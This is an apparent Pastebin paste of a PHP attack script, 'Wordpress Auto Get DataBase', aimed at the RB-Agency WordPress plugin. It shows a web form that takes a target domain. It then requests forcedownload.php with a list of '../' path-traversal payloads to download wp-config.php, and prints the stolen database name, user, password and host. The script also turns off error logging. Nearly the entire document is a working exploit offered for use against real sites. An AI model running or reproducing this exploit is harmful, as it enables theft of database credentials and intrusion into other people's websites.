Advertisement
AZZATSSINS_CYBERSERK

WP Plugin RB-Agency AFD

Sep 7th, 2016
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.07 KB | None | 0 0
  1. <?php
  2. @session_start();
  3. @error_reporting(0);
  4. @ini_set('error_log',NULL);
  5. @ini_set('log_errors',0);
  6. @ini_set('display_errors', 0);
  7. @set_time_limit(0);
  8. /*
  9. Name app : Wordpress Auto Get DataBase (AFD)
  10. Author / Editor Script : AZZATSSINS CYBERSERKERS
  11. Email : cyberserkers@gmail.com
  12. */
  13. echo"<title>WordPress Get Database | RB-Agency</title><center>
  14. <body bgcolor=silver><u><i><b><h1>&copy; AZZATSSINS CYBERSERKERS</h1>
  15. </b></i></u><br>
  16.     <form method='post'>
  17.     Domain: <br>
  18.     <textarea placeholder='http://www.target.com/' name='url' style='width: 500px; height: 20px;'></textarea><br>
  19.     <input type='submit' name='azzatssins' value='GET DB!'>
  20.     </form>";
  21.     $site = $_POST['url'];
  22. if($_POST['azzatssins']) {
  23. echo "<br><u><b>Target : ".$site."</b></u><br>";
  24. $expl = array("/wp-content/plugins/rb-agency/ext/
  25. forcedownload.php?file=../wp-config.php","/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../wp-config.php","/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../wp-config.php","/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../wp-config.php","/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../wp-config.php","/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../../../../wp-config.php","/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../../../wp-config.php");
  26. foreach($expl as $exploit){
  27. $ch = curl_init();
  28. curl_setopt($ch, CURLOPT_URL, "$site/$exploit");
  29. curl_setopt($ch, CURLOPT_HTTPGET, 1);
  30. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  31. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  32. $xp = curl_exec ($ch);
  33. curl_close($ch);
  34. if(preg_match("#DB_USER#i",$xp)){
  35. preg_match("#'DB_NAME', '(.*?)'#i",$xp,$DB_NAME);
  36. echo "DB_NAME:{$DB_NAME[1]}<br>";
  37. preg_match("#'DB_USER', '(.*?)'#i",$xp,$DB_USER);
  38. echo "DB_USER:{$DB_USER[1]}<br>";
  39. preg_match("#'DB_PASSWORD', '(.*?)'#i",$xp,$DB_PASSWORD);
  40. echo "DB_PASSWORD:{$DB_PASSWORD[1]}<br>";
  41. preg_match("#'DB_HOST', '(.*?)'#i",$xp,$DB_HOST);
  42. echo "DB_HOST:{$DB_HOST[1]}<br>";
  43. }
  44. }
  45. }
  46. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement